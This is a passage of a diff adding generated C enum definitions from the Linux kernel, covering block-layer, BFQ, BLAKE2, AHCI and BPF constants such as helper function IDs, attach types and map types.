BATADV_CODED = 2, + BATADV_ELP = 3, + BATADV_OGM2 = 4, + BATADV_MCAST = 5, + BATADV_UNICAST = 64, + BATADV_UNICAST_FRAG = 65, + BATADV_UNICAST_4ADDR = 66, + BATADV_ICMP = 67, + BATADV_UNICAST_TVLV = 68, +}; + +enum behavior { + EXCLUSIVE = 0, + SHARED = 1, + DROP = 2, +}; + +enum bfqq_expiration { + BFQQE_TOO_IDLE = 0, + BFQQE_BUDGET_TIMEOUT = 1, + BFQQE_BUDGET_EXHAUSTED = 2, + BFQQE_NO_MORE_REQUESTS = 3, + BFQQE_PREEMPTED = 4, +}; + +enum bfqq_state_flags { + BFQQF_just_created = 0, + BFQQF_busy = 1, + BFQQF_wait_request = 2, + BFQQF_non_blocking_wait_rq = 3, + BFQQF_fifo_expire = 4, + BFQQF_has_short_ttime = 5, + BFQQF_sync = 6, + BFQQF_IO_bound = 7, + BFQQF_in_large_burst = 8, + BFQQF_softrt_update = 9, + BFQQF_coop = 10, + BFQQF_split_coop = 11, +}; + +enum bfs_result { + BFS_EINVALIDNODE = -2, + BFS_EQUEUEFULL = -1, + BFS_RMATCH = 0, + BFS_RNOMATCH = 1, +}; + +enum bh_state_bits { + BH_Uptodate = 0, + BH_Dirty = 1, + BH_Lock = 2, + BH_Req = 3, + BH_Mapped = 4, + BH_New = 5, + BH_Async_Read = 6, + BH_Async_Write = 7, + BH_Delay = 8, + BH_Boundary = 9, + BH_Write_EIO = 10, + BH_Unwritten = 11, + BH_Quiet = 12, + BH_Meta = 13, + BH_Prio = 14, + BH_Defer_Completion = 15, + BH_PrivateStart = 16, +}; + +enum bhi_mitigations { + BHI_MITIGATION_OFF = 0, + BHI_MITIGATION_ON = 1, + BHI_MITIGATION_VMEXIT_ONLY = 2, +}; + +enum bio_merge_status { + BIO_MERGE_OK = 0, + BIO_MERGE_NONE = 1, + BIO_MERGE_FAILED = 2, +}; + +enum bio_post_read_step { + STEP_INITIAL = 0, + STEP_DECRYPT = 1, + STEP_VERITY = 2, + STEP_MAX = 3, +}; + +enum bip_flags { + BIP_BLOCK_INTEGRITY = 1, + BIP_MAPPED_INTEGRITY = 2, + BIP_CTRL_NOCHECK = 4, + BIP_DISK_NOCHECK = 8, + BIP_IP_CHECKSUM = 16, + BIP_COPY_USER = 32, +}; + +enum bitmap_page_attr { + BITMAP_PAGE_DIRTY = 0, + BITMAP_PAGE_PENDING = 1, + BITMAP_PAGE_NEEDWRITE = 2, +}; + +enum bitmap_state { + BITMAP_STALE = 1, + BITMAP_WRITE_ERROR = 2, + BITMAP_HOSTENDIAN = 15, +}; + +enum blacklist_hash_type { + BLACKLIST_HASH_X509_TBS = 1, + BLACKLIST_HASH_BINARY = 2, +}; + +enum blake2b_iv { + BLAKE2B_IV0 = 7640891576956012808ULL, + BLAKE2B_IV1 = 13503953896175478587ULL, + BLAKE2B_IV2 = 4354685564936845355ULL, + BLAKE2B_IV3 = 11912009170470909681ULL, + BLAKE2B_IV4 = 5840696475078001361ULL, + BLAKE2B_IV5 = 11170449401992604703ULL, + BLAKE2B_IV6 = 2270897969802886507ULL, + BLAKE2B_IV7 = 6620516959819538809ULL, +}; + +enum blake2b_lengths { + BLAKE2B_BLOCK_SIZE = 128, + BLAKE2B_HASH_SIZE = 64, + BLAKE2B_KEY_SIZE = 64, + BLAKE2B_160_HASH_SIZE = 20, + BLAKE2B_256_HASH_SIZE = 32, + BLAKE2B_384_HASH_SIZE = 48, + BLAKE2B_512_HASH_SIZE = 64, +}; + +enum blake2s_iv { + BLAKE2S_IV0 = 1779033703, + BLAKE2S_IV1 = 3144134277, + BLAKE2S_IV2 = 1013904242, + BLAKE2S_IV3 = 2773480762, + BLAKE2S_IV4 = 1359893119, + BLAKE2S_IV5 = 2600822924, + BLAKE2S_IV6 = 528734635, + BLAKE2S_IV7 = 1541459225, +}; + +enum blake2s_lengths { + BLAKE2S_BLOCK_SIZE = 64, + BLAKE2S_HASH_SIZE = 32, + BLAKE2S_KEY_SIZE = 32, + BLAKE2S_128_HASH_SIZE = 16, + BLAKE2S_160_HASH_SIZE = 20, + BLAKE2S_224_HASH_SIZE = 28, + BLAKE2S_256_HASH_SIZE = 32, +}; + +enum blk_crypto_mode_num { + BLK_ENCRYPTION_MODE_INVALID = 0, + BLK_ENCRYPTION_MODE_AES_256_XTS = 1, + BLK_ENCRYPTION_MODE_AES_128_CBC_ESSIV = 2, + BLK_ENCRYPTION_MODE_ADIANTUM = 3, + BLK_ENCRYPTION_MODE_SM4_XTS = 4, + BLK_ENCRYPTION_MODE_MAX = 5, +}; + +enum blk_default_limits { + BLK_MAX_SEGMENTS = 128, + BLK_SAFE_MAX_SECTORS = 255, + BLK_MAX_SEGMENT_SIZE = 65536, + BLK_SEG_BOUNDARY_MASK = 4294967295, +}; + +enum blk_eh_timer_return { + BLK_EH_DONE = 0, + BLK_EH_RESET_TIMER = 1, +}; + +enum blk_integrity_checksum { + BLK_INTEGRITY_CSUM_NONE = 0, + BLK_INTEGRITY_CSUM_IP = 1, + BLK_INTEGRITY_CSUM_CRC = 2, + BLK_INTEGRITY_CSUM_CRC64 = 3, +} __attribute__((mode(byte))); + +enum blk_integrity_flags { + BLK_INTEGRITY_NOVERIFY = 1, + BLK_INTEGRITY_NOGENERATE = 2, + BLK_INTEGRITY_DEVICE_CAPABLE = 4, + BLK_INTEGRITY_REF_TAG = 8, + BLK_INTEGRITY_STACKED = 16, +}; + +enum blk_unique_id { + BLK_UID_T10 = 1, + BLK_UID_EUI64 = 2, + BLK_UID_NAA = 3, +}; + +enum blkg_iostat_type { + BLKG_IOSTAT_READ = 0, + BLKG_IOSTAT_WRITE = 1, + BLKG_IOSTAT_DISCARD = 2, + BLKG_IOSTAT_NR = 3, +}; + +enum blkg_rwstat_type { + BLKG_RWSTAT_READ = 0, + BLKG_RWSTAT_WRITE = 1, + BLKG_RWSTAT_SYNC = 2, + BLKG_RWSTAT_ASYNC = 3, + BLKG_RWSTAT_DISCARD = 4, + BLKG_RWSTAT_NR = 5, + BLKG_RWSTAT_TOTAL = 5, +}; + +enum blktrace_act { + __BLK_TA_QUEUE = 1, + __BLK_TA_BACKMERGE = 2, + __BLK_TA_FRONTMERGE = 3, + __BLK_TA_GETRQ = 4, + __BLK_TA_SLEEPRQ = 5, + __BLK_TA_REQUEUE = 6, + __BLK_TA_ISSUE = 7, + __BLK_TA_COMPLETE = 8, + __BLK_TA_PLUG = 9, + __BLK_TA_UNPLUG_IO = 10, + __BLK_TA_UNPLUG_TIMER = 11, + __BLK_TA_INSERT = 12, + __BLK_TA_SPLIT = 13, + __BLK_TA_BOUNCE = 14, + __BLK_TA_REMAP = 15, + __BLK_TA_ABORT = 16, + __BLK_TA_DRV_DATA = 17, + __BLK_TA_CGROUP = 256, +}; + +enum blktrace_cat { + BLK_TC_READ = 1, + BLK_TC_WRITE = 2, + BLK_TC_FLUSH = 4, + BLK_TC_SYNC = 8, + BLK_TC_SYNCIO = 8, + BLK_TC_QUEUE = 16, + BLK_TC_REQUEUE = 32, + BLK_TC_ISSUE = 64, + BLK_TC_COMPLETE = 128, + BLK_TC_FS = 256, + BLK_TC_PC = 512, + BLK_TC_NOTIFY = 1024, + BLK_TC_AHEAD = 2048, + BLK_TC_META = 4096, + BLK_TC_DISCARD = 8192, + BLK_TC_DRV_DATA = 16384, + BLK_TC_FUA = 32768, + BLK_TC_END = 32768, +}; + +enum blktrace_notify { + __BLK_TN_PROCESS = 0, + __BLK_TN_TIMESTAMP = 1, + __BLK_TN_MESSAGE = 2, + __BLK_TN_CGROUP = 256, +}; + +enum board_ids { + board_ahci = 0, + board_ahci_43bit_dma = 1, + board_ahci_ign_iferr = 2, + board_ahci_no_debounce_delay = 3, + board_ahci_no_msi = 4, + board_ahci_pcs_quirk = 5, + board_ahci_pcs_quirk_no_devslp = 6, + board_ahci_pcs_quirk_no_sntf = 7, + board_ahci_yes_fbs = 8, + board_ahci_al = 9, + board_ahci_avn = 10, + board_ahci_mcp65 = 11, + board_ahci_mcp77 = 12, + board_ahci_mcp89 = 13, + board_ahci_mv = 14, + board_ahci_sb600 = 15, + board_ahci_sb700 = 16, + board_ahci_vt8251 = 17, + board_ahci_mcp_linux = 11, + board_ahci_mcp67 = 11, + board_ahci_mcp73 = 11, + board_ahci_mcp79 = 12, +}; + +enum bp_type_idx { + TYPE_INST = 0, + TYPE_DATA = 0, + TYPE_MAX = 1, +}; + +enum bpf_access_src { + ACCESS_DIRECT = 1, + ACCESS_HELPER = 2, +}; + +enum bpf_access_type { + BPF_READ = 1, + BPF_WRITE = 2, +}; + +enum bpf_addr_space_cast { + BPF_ADDR_SPACE_CAST = 1, +}; + +enum bpf_adj_room_mode { + BPF_ADJ_ROOM_NET = 0, + BPF_ADJ_ROOM_MAC = 1, +}; + +enum bpf_arg_type { + ARG_DONTCARE = 0, + ARG_CONST_MAP_PTR = 1, + ARG_PTR_TO_MAP_KEY = 2, + ARG_PTR_TO_MAP_VALUE = 3, + ARG_PTR_TO_MEM = 4, + ARG_PTR_TO_ARENA = 5, + ARG_CONST_SIZE = 6, + ARG_CONST_SIZE_OR_ZERO = 7, + ARG_PTR_TO_CTX = 8, + ARG_ANYTHING = 9, + ARG_PTR_TO_SPIN_LOCK = 10, + ARG_PTR_TO_SOCK_COMMON = 11, + ARG_PTR_TO_SOCKET = 12, + ARG_PTR_TO_BTF_ID = 13, + ARG_PTR_TO_RINGBUF_MEM = 14, + ARG_CONST_ALLOC_SIZE_OR_ZERO = 15, + ARG_PTR_TO_BTF_ID_SOCK_COMMON = 16, + ARG_PTR_TO_PERCPU_BTF_ID = 17, + ARG_PTR_TO_FUNC = 18, + ARG_PTR_TO_STACK = 19, + ARG_PTR_TO_CONST_STR = 20, + ARG_PTR_TO_TIMER = 21, + ARG_KPTR_XCHG_DEST = 22, + ARG_PTR_TO_DYNPTR = 23, + __BPF_ARG_TYPE_MAX = 24, + ARG_PTR_TO_MAP_VALUE_OR_NULL = 259, + ARG_PTR_TO_MEM_OR_NULL = 260, + ARG_PTR_TO_CTX_OR_NULL = 264, + ARG_PTR_TO_SOCKET_OR_NULL = 268, + ARG_PTR_TO_STACK_OR_NULL = 275, + ARG_PTR_TO_BTF_ID_OR_NULL = 269, + ARG_PTR_TO_UNINIT_MEM = 32772, + ARG_PTR_TO_FIXED_SIZE_MEM = 262148, + __BPF_ARG_TYPE_LIMIT = 67108863, +}; + +enum bpf_async_type { + BPF_ASYNC_TYPE_TIMER = 0, + BPF_ASYNC_TYPE_WQ = 1, +}; + +enum bpf_attach_type { + BPF_CGROUP_INET_INGRESS = 0, + BPF_CGROUP_INET_EGRESS = 1, + BPF_CGROUP_INET_SOCK_CREATE = 2, + BPF_CGROUP_SOCK_OPS = 3, + BPF_SK_SKB_STREAM_PARSER = 4, + BPF_SK_SKB_STREAM_VERDICT = 5, + BPF_CGROUP_DEVICE = 6, + BPF_SK_MSG_VERDICT = 7, + BPF_CGROUP_INET4_BIND = 8, + BPF_CGROUP_INET6_BIND = 9, + BPF_CGROUP_INET4_CONNECT = 10, + BPF_CGROUP_INET6_CONNECT = 11, + BPF_CGROUP_INET4_POST_BIND = 12, + BPF_CGROUP_INET6_POST_BIND = 13, + BPF_CGROUP_UDP4_SENDMSG = 14, + BPF_CGROUP_UDP6_SENDMSG = 15, + BPF_LIRC_MODE2 = 16, + BPF_FLOW_DISSECTOR = 17, + BPF_CGROUP_SYSCTL = 18, + BPF_CGROUP_UDP4_RECVMSG = 19, + BPF_CGROUP_UDP6_RECVMSG = 20, + BPF_CGROUP_GETSOCKOPT = 21, + BPF_CGROUP_SETSOCKOPT = 22, + BPF_TRACE_RAW_TP = 23, + BPF_TRACE_FENTRY = 24, + BPF_TRACE_FEXIT = 25, + BPF_MODIFY_RETURN = 26, + BPF_LSM_MAC = 27, + BPF_TRACE_ITER = 28, + BPF_CGROUP_INET4_GETPEERNAME = 29, + BPF_CGROUP_INET6_GETPEERNAME = 30, + BPF_CGROUP_INET4_GETSOCKNAME = 31, + BPF_CGROUP_INET6_GETSOCKNAME = 32, + BPF_XDP_DEVMAP = 33, + BPF_CGROUP_INET_SOCK_RELEASE = 34, + BPF_XDP_CPUMAP = 35, + BPF_SK_LOOKUP = 36, + BPF_XDP = 37, + BPF_SK_SKB_VERDICT = 38, + BPF_SK_REUSEPORT_SELECT = 39, + BPF_SK_REUSEPORT_SELECT_OR_MIGRATE = 40, + BPF_PERF_EVENT = 41, + BPF_TRACE_KPROBE_MULTI = 42, + BPF_LSM_CGROUP = 43, + BPF_STRUCT_OPS = 44, + BPF_NETFILTER = 45, + BPF_TCX_INGRESS = 46, + BPF_TCX_EGRESS = 47, + BPF_TRACE_UPROBE_MULTI = 48, + BPF_CGROUP_UNIX_CONNECT = 49, + BPF_CGROUP_UNIX_SENDMSG = 50, + BPF_CGROUP_UNIX_RECVMSG = 51, + BPF_CGROUP_UNIX_GETPEERNAME = 52, + BPF_CGROUP_UNIX_GETSOCKNAME = 53, + BPF_NETKIT_PRIMARY = 54, + BPF_NETKIT_PEER = 55, + BPF_TRACE_KPROBE_SESSION = 56, + __MAX_BPF_ATTACH_TYPE = 57, +}; + +enum bpf_audit { + BPF_AUDIT_LOAD = 0, + BPF_AUDIT_UNLOAD = 1, + BPF_AUDIT_MAX = 2, +}; + +enum bpf_cgroup_iter_order { + BPF_CGROUP_ITER_ORDER_UNSPEC = 0, + BPF_CGROUP_ITER_SELF_ONLY = 1, + BPF_CGROUP_ITER_DESCENDANTS_PRE = 2, + BPF_CGROUP_ITER_DESCENDANTS_POST = 3, + BPF_CGROUP_ITER_ANCESTORS_UP = 4, +}; + +enum bpf_cgroup_storage_type { + BPF_CGROUP_STORAGE_SHARED = 0, + BPF_CGROUP_STORAGE_PERCPU = 1, + __BPF_CGROUP_STORAGE_MAX = 2, +}; + +enum bpf_check_mtu_flags { + BPF_MTU_CHK_SEGS = 1, +}; + +enum bpf_check_mtu_ret { + BPF_MTU_CHK_RET_SUCCESS = 0, + BPF_MTU_CHK_RET_FRAG_NEEDED = 1, + BPF_MTU_CHK_RET_SEGS_TOOBIG = 2, +}; + +enum bpf_cmd { + BPF_MAP_CREATE = 0, + BPF_MAP_LOOKUP_ELEM = 1, + BPF_MAP_UPDATE_ELEM = 2, + BPF_MAP_DELETE_ELEM = 3, + BPF_MAP_GET_NEXT_KEY = 4, + BPF_PROG_LOAD = 5, + BPF_OBJ_PIN = 6, + BPF_OBJ_GET = 7, + BPF_PROG_ATTACH = 8, + BPF_PROG_DETACH = 9, + BPF_PROG_TEST_RUN = 10, + BPF_PROG_RUN = 10, + BPF_PROG_GET_NEXT_ID = 11, + BPF_MAP_GET_NEXT_ID = 12, + BPF_PROG_GET_FD_BY_ID = 13, + BPF_MAP_GET_FD_BY_ID = 14, + BPF_OBJ_GET_INFO_BY_FD = 15, + BPF_PROG_QUERY = 16, + BPF_RAW_TRACEPOINT_OPEN = 17, + BPF_BTF_LOAD = 18, + BPF_BTF_GET_FD_BY_ID = 19, + BPF_TASK_FD_QUERY = 20, + BPF_MAP_LOOKUP_AND_DELETE_ELEM = 21, + BPF_MAP_FREEZE = 22, + BPF_BTF_GET_NEXT_ID = 23, + BPF_MAP_LOOKUP_BATCH = 24, + BPF_MAP_LOOKUP_AND_DELETE_BATCH = 25, + BPF_MAP_UPDATE_BATCH = 26, + BPF_MAP_DELETE_BATCH = 27, + BPF_LINK_CREATE = 28, + BPF_LINK_UPDATE = 29, + BPF_LINK_GET_FD_BY_ID = 30, + BPF_LINK_GET_NEXT_ID = 31, + BPF_ENABLE_STATS = 32, + BPF_ITER_CREATE = 33, + BPF_LINK_DETACH = 34, + BPF_PROG_BIND_MAP = 35, + BPF_TOKEN_CREATE = 36, + __MAX_BPF_CMD = 37, +}; + +enum bpf_cond_pseudo_jmp { + BPF_MAY_GOTO = 0, +}; + +enum bpf_core_relo_kind { + BPF_CORE_FIELD_BYTE_OFFSET = 0, + BPF_CORE_FIELD_BYTE_SIZE = 1, + BPF_CORE_FIELD_EXISTS = 2, + BPF_CORE_FIELD_SIGNED = 3, + BPF_CORE_FIELD_LSHIFT_U64 = 4, + BPF_CORE_FIELD_RSHIFT_U64 = 5, + BPF_CORE_TYPE_ID_LOCAL = 6, + BPF_CORE_TYPE_ID_TARGET = 7, + BPF_CORE_TYPE_EXISTS = 8, + BPF_CORE_TYPE_SIZE = 9, + BPF_CORE_ENUMVAL_EXISTS = 10, + BPF_CORE_ENUMVAL_VALUE = 11, + BPF_CORE_TYPE_MATCHES = 12, +}; + +enum bpf_dynptr_type { + BPF_DYNPTR_TYPE_INVALID = 0, + BPF_DYNPTR_TYPE_LOCAL = 1, + BPF_DYNPTR_TYPE_RINGBUF = 2, + BPF_DYNPTR_TYPE_SKB = 3, + BPF_DYNPTR_TYPE_XDP = 4, +}; + +enum bpf_func_id { + BPF_FUNC_unspec = 0, + BPF_FUNC_map_lookup_elem = 1, + BPF_FUNC_map_update_elem = 2, + BPF_FUNC_map_delete_elem = 3, + BPF_FUNC_probe_read = 4, + BPF_FUNC_ktime_get_ns = 5, + BPF_FUNC_trace_printk = 6, + BPF_FUNC_get_prandom_u32 = 7, + BPF_FUNC_get_smp_processor_id = 8, + BPF_FUNC_skb_store_bytes = 9, + BPF_FUNC_l3_csum_replace = 10, + BPF_FUNC_l4_csum_replace = 11, + BPF_FUNC_tail_call = 12, + BPF_FUNC_clone_redirect = 13, + BPF_FUNC_get_current_pid_tgid = 14, + BPF_FUNC_get_current_uid_gid = 15, + BPF_FUNC_get_current_comm = 16, + BPF_FUNC_get_cgroup_classid = 17, + BPF_FUNC_skb_vlan_push = 18, + BPF_FUNC_skb_vlan_pop = 19, + BPF_FUNC_skb_get_tunnel_key = 20, + BPF_FUNC_skb_set_tunnel_key = 21, + BPF_FUNC_perf_event_read = 22, + BPF_FUNC_redirect = 23, + BPF_FUNC_get_route_realm = 24, + BPF_FUNC_perf_event_output = 25, + BPF_FUNC_skb_load_bytes = 26, + BPF_FUNC_get_stackid = 27, + BPF_FUNC_csum_diff = 28, + BPF_FUNC_skb_get_tunnel_opt = 29, + BPF_FUNC_skb_set_tunnel_opt = 30, + BPF_FUNC_skb_change_proto = 31, + BPF_FUNC_skb_change_type = 32, + BPF_FUNC_skb_under_cgroup = 33, + BPF_FUNC_get_hash_recalc = 34, + BPF_FUNC_get_current_task = 35, + BPF_FUNC_probe_write_user = 36, + BPF_FUNC_current_task_under_cgroup = 37, + BPF_FUNC_skb_change_tail = 38, + BPF_FUNC_skb_pull_data = 39, + BPF_FUNC_csum_update = 40, + BPF_FUNC_set_hash_invalid = 41, + BPF_FUNC_get_numa_node_id = 42, + BPF_FUNC_skb_change_head = 43, + BPF_FUNC_xdp_adjust_head = 44, + BPF_FUNC_probe_read_str = 45, + BPF_FUNC_get_socket_cookie = 46, + BPF_FUNC_get_socket_uid = 47, + BPF_FUNC_set_hash = 48, + BPF_FUNC_setsockopt = 49, + BPF_FUNC_skb_adjust_room = 50, + BPF_FUNC_redirect_map = 51, + BPF_FUNC_sk_redirect_map = 52, + BPF_FUNC_sock_map_update = 53, + BPF_FUNC_xdp_adjust_meta = 54, + BPF_FUNC_perf_event_read_value = 55, + BPF_FUNC_perf_prog_read_value = 56, + BPF_FUNC_getsockopt = 57, + BPF_FUNC_override_return = 58, + BPF_FUNC_sock_ops_cb_flags_set = 59, + BPF_FUNC_msg_redirect_map = 60, + BPF_FUNC_msg_apply_bytes = 61, + BPF_FUNC_msg_cork_bytes = 62, + BPF_FUNC_msg_pull_data = 63, + BPF_FUNC_bind = 64, + BPF_FUNC_xdp_adjust_tail = 65, + BPF_FUNC_skb_get_xfrm_state = 66, + BPF_FUNC_get_stack = 67, + BPF_FUNC_skb_load_bytes_relative = 68, + BPF_FUNC_fib_lookup = 69, + BPF_FUNC_sock_hash_update = 70, + BPF_FUNC_msg_redirect_hash = 71, + BPF_FUNC_sk_redirect_hash = 72, + BPF_FUNC_lwt_push_encap = 73, + BPF_FUNC_lwt_seg6_store_bytes = 74, + BPF_FUNC_lwt_seg6_adjust_srh = 75, + BPF_FUNC_lwt_seg6_action = 76, + BPF_FUNC_rc_repeat = 77, + BPF_FUNC_rc_keydown = 78, + BPF_FUNC_skb_cgroup_id = 79, + BPF_FUNC_get_current_cgroup_id = 80, + BPF_FUNC_get_local_storage = 81, + BPF_FUNC_sk_select_reuseport = 82, + BPF_FUNC_skb_ancestor_cgroup_id = 83, + BPF_FUNC_sk_lookup_tcp = 84, + BPF_FUNC_sk_lookup_udp = 85, + BPF_FUNC_sk_release = 86, + BPF_FUNC_map_push_elem = 87, + BPF_FUNC_map_pop_elem = 88, + BPF_FUNC_map_peek_elem = 89, + BPF_FUNC_msg_push_data = 90, + BPF_FUNC_msg_pop_data = 91, + BPF_FUNC_rc_pointer_rel = 92, + BPF_FUNC_spin_lock = 93, + BPF_FUNC_spin_unlock = 94, + BPF_FUNC_sk_fullsock = 95, + BPF_FUNC_tcp_sock = 96, + BPF_FUNC_skb_ecn_set_ce = 97, + BPF_FUNC_get_listener_sock = 98, + BPF_FUNC_skc_lookup_tcp = 99, + BPF_FUNC_tcp_check_syncookie = 100, + BPF_FUNC_sysctl_get_name = 101, + BPF_FUNC_sysctl_get_current_value = 102, + BPF_FUNC_sysctl_get_new_value = 103, + BPF_FUNC_sysctl_set_new_value = 104, + BPF_FUNC_strtol = 105, + BPF_FUNC_strtoul = 106, + BPF_FUNC_sk_storage_get = 107, + BPF_FUNC_sk_storage_delete = 108, + BPF_FUNC_send_signal = 109, + BPF_FUNC_tcp_gen_syncookie = 110, + BPF_FUNC_skb_output = 111, + BPF_FUNC_probe_read_user = 112, + BPF_FUNC_probe_read_kernel = 113, + BPF_FUNC_probe_read_user_str = 114, + BPF_FUNC_probe_read_kernel_str = 115, + BPF_FUNC_tcp_send_ack = 116, + BPF_FUNC_send_signal_thread = 117, + BPF_FUNC_jiffies64 = 118, + BPF_FUNC_read_branch_records = 119, + BPF_FUNC_get_ns_current_pid_tgid = 120, + BPF_FUNC_xdp_output = 121, + BPF_FUNC_get_netns_cookie = 122, + BPF_FUNC_get_current_ancestor_cgroup_id = 123, + BPF_FUNC_sk_assign = 124, + BPF_FUNC_ktime_get_boot_ns = 125, + BPF_FUNC_seq_printf = 126, + BPF_FUNC_seq_write = 127, + BPF_FUNC_sk_cgroup_id = 128, + BPF_FUNC_sk_ancestor_cgroup_id = 129, + BPF_FUNC_ringbuf_output = 130, + BPF_FUNC_ringbuf_reserve = 131, + BPF_FUNC_ringbuf_submit = 132, + BPF_FUNC_ringbuf_discard = 133, + BPF_FUNC_ringbuf_query = 134, + BPF_FUNC_csum_level = 135, + BPF_FUNC_skc_to_tcp6_sock = 136, + BPF_FUNC_skc_to_tcp_sock = 137, + BPF_FUNC_skc_to_tcp_timewait_sock = 138, + BPF_FUNC_skc_to_tcp_request_sock = 139, + BPF_FUNC_skc_to_udp6_sock = 140, + BPF_FUNC_get_task_stack = 141, + BPF_FUNC_load_hdr_opt = 142, + BPF_FUNC_store_hdr_opt = 143, + BPF_FUNC_reserve_hdr_opt = 144, + BPF_FUNC_inode_storage_get = 145, + BPF_FUNC_inode_storage_delete = 146, + BPF_FUNC_d_path = 147, + BPF_FUNC_copy_from_user = 148, + BPF_FUNC_snprintf_btf = 149, + BPF_FUNC_seq_printf_btf = 150, + BPF_FUNC_skb_cgroup_classid = 151, + BPF_FUNC_redirect_neigh = 152, + BPF_FUNC_per_cpu_ptr = 153, + BPF_FUNC_this_cpu_ptr = 154, + BPF_FUNC_redirect_peer = 155, + BPF_FUNC_task_storage_get = 156, + BPF_FUNC_task_storage_delete = 157, + BPF_FUNC_get_current_task_btf = 158, + BPF_FUNC_bprm_opts_set = 159, + BPF_FUNC_ktime_get_coarse_ns = 160, + BPF_FUNC_ima_inode_hash = 161, + BPF_FUNC_sock_from_file = 162, + BPF_FUNC_check_mtu = 163, + BPF_FUNC_for_each_map_elem = 164, + BPF_FUNC_snprintf = 165, + BPF_FUNC_sys_bpf = 166, + BPF_FUNC_btf_find_by_name_kind = 167, + BPF_FUNC_sys_close = 168, + BPF_FUNC_timer_init = 169, + BPF_FUNC_timer_set_callback = 170, + BPF_FUNC_timer_start = 171, + BPF_FUNC_timer_cancel = 172, + BPF_FUNC_get_func_ip = 173, + BPF_FUNC_get_attach_cookie = 174, + BPF_FUNC_task_pt_regs = 175, + BPF_FUNC_get_branch_snapshot = 176, + BPF_FUNC_trace_vprintk = 177, + BPF_FUNC_skc_to_unix_sock = 178, + BPF_FUNC_kallsyms_lookup_name = 179, + BPF_FUNC_find_vma = 180, + BPF_FUNC_loop = 181, + BPF_FUNC_strncmp = 182, + BPF_FUNC_get_func_arg = 183, + BPF_FUNC_get_func_ret = 184, + BPF_FUNC_get_func_arg_cnt = 185, + BPF_FUNC_get_retval = 186, + BPF_FUNC_set_retval = 187, + BPF_FUNC_xdp_get_buff_len = 188, + BPF_FUNC_xdp_load_bytes = 189, + BPF_FUNC_xdp_store_bytes = 190, + BPF_FUNC_copy_from_user_task = 191, + BPF_FUNC_skb_set_tstamp = 192, + BPF_FUNC_ima_file_hash = 193, + BPF_FUNC_kptr_xchg = 194, + BPF_FUNC_map_lookup_percpu_elem = 195, + BPF_FUNC_skc_to_mptcp_sock = 196, + BPF_FUNC_dynptr_from_mem = 197, + BPF_FUNC_ringbuf_reserve_dynptr = 198, + BPF_FUNC_ringbuf_submit_dynptr = 199, + BPF_FUNC_ringbuf_discard_dynptr = 200, + BPF_FUNC_dynptr_read = 201, + BPF_FUNC_dynptr_write = 202, + BPF_FUNC_dynptr_data = 203, + BPF_FUNC_tcp_raw_gen_syncookie_ipv4 = 204, + BPF_FUNC_tcp_raw_gen_syncookie_ipv6 = 205, + BPF_FUNC_tcp_raw_check_syncookie_ipv4 = 206, + BPF_FUNC_tcp_raw_check_syncookie_ipv6 = 207, + BPF_FUNC_ktime_get_tai_ns = 208, + BPF_FUNC_user_ringbuf_drain = 209, + BPF_FUNC_cgrp_storage_get = 210, + BPF_FUNC_cgrp_storage_delete = 211, + __BPF_FUNC_MAX_ID = 212, +}; + +enum bpf_hdr_start_off { + BPF_HDR_START_MAC = 0, + BPF_HDR_START_NET = 1, +}; + +enum bpf_iter_feature { + BPF_ITER_RESCHED = 1, +}; + +enum bpf_iter_state { + BPF_ITER_STATE_INVALID = 0, + BPF_ITER_STATE_ACTIVE = 1, + BPF_ITER_STATE_DRAINED = 2, +}; + +enum bpf_iter_task_type { + BPF_TASK_ITER_ALL = 0, + BPF_TASK_ITER_TID = 1, + BPF_TASK_ITER_TGID = 2, +}; + +enum bpf_jit_poke_reason { + BPF_POKE_REASON_TAIL_CALL = 0, +}; + +enum bpf_kfunc_flags { + BPF_F_PAD_ZEROS = 1, +}; + +enum bpf_link_type { + BPF_LINK_TYPE_UNSPEC = 0, + BPF_LINK_TYPE_RAW_TRACEPOINT = 1, + BPF_LINK_TYPE_TRACING = 2, + BPF_LINK_TYPE_CGROUP = 3, + BPF_LINK_TYPE_ITER = 4, + BPF_LINK_TYPE_NETNS = 5, + BPF_LINK_TYPE_XDP = 6, + BPF_LINK_TYPE_PERF_EVENT = 7, + BPF_LINK_TYPE_KPROBE_MULTI = 8, + BPF_LINK_TYPE_STRUCT_OPS = 9, + BPF_LINK_TYPE_NETFILTER = 10, + BPF_LINK_TYPE_TCX = 11, + BPF_LINK_TYPE_UPROBE_MULTI = 12, + BPF_LINK_TYPE_NETKIT = 13, + BPF_LINK_TYPE_SOCKMAP = 14, + __MAX_BPF_LINK_TYPE = 15, +}; + +enum bpf_lru_list_type { + BPF_LRU_LIST_T_ACTIVE = 0, + BPF_LRU_LIST_T_INACTIVE = 1, + BPF_LRU_LIST_T_FREE = 2, + BPF_LRU_LOCAL_LIST_T_FREE = 3, + BPF_LRU_LOCAL_LIST_T_PENDING = 4, +}; + +enum bpf_map_type { + BPF_MAP_TYPE_UNSPEC = 0, + BPF_MAP_TYPE_HASH = 1, + BPF_MAP_TYPE_ARRAY = 2, + BPF_MAP_TYPE_PROG_ARRAY = 3, + BPF_MAP_TYPE_PERF_EVENT_ARRAY = 4, + BPF_MAP_TYPE_PERCPU_HASH = 5, + BPF_MAP_TYPE_PERCPU_ARRAY = 6, + BPF_MAP_TYPE_STACK_TRACE = 7, + BPF_MAP_TYPE_CGROUP_ARRAY = 8, + BPF_MAP_TYPE_LRU_HASH = 9, + BPF_MAP_TYPE_LRU_PERCPU_HASH = 10, + BPF_MAP_TYPE_LPM_TRIE = 11, + BPF_MAP_TYPE_ARRAY_OF_MAPS = 12, + BPF_MAP_TYPE_HASH_OF_MAPS = 13, + BPF_MAP_TYPE_DEVMAP = 14, + BPF_MAP_TYPE_SOCKMAP = 15, + BPF_MAP_TYPE_CPUMAP = 16, + BPF_MAP_TYPE_XSKMAP = 17, + BPF_MAP_TYPE_SOCKHASH = 18, + BPF_MAP_TYPE_CGROUP_STORAGE_DEPRECATED = 19, + BPF_MAP_TYPE_CGROUP_STORAGE = 19, + BPF_MAP_TYPE_REUSEPORT_SOCKARRAY = 20, + BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE_DEPRECATED = 21, + BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE = 21, + BPF_MAP_TYPE_QUEUE = 22, + BPF_MAP_TYPE_STACK = 23, + BPF_MAP_TYPE_SK_STORAGE = 24, + BPF_MAP_TYPE_DEVMAP_HASH = 25, + BPF_MAP_TYPE_STRUCT_OPS = 26, + BPF_MAP_TYPE_RINGBUF = 27, + BPF_MAP_TYPE_INODE_STORAGE = 28, + BPF_MAP_TYPE_TASK_STORAGE = 29, + BPF_MAP_TYPE_BLOOM_FILTER = 30, + 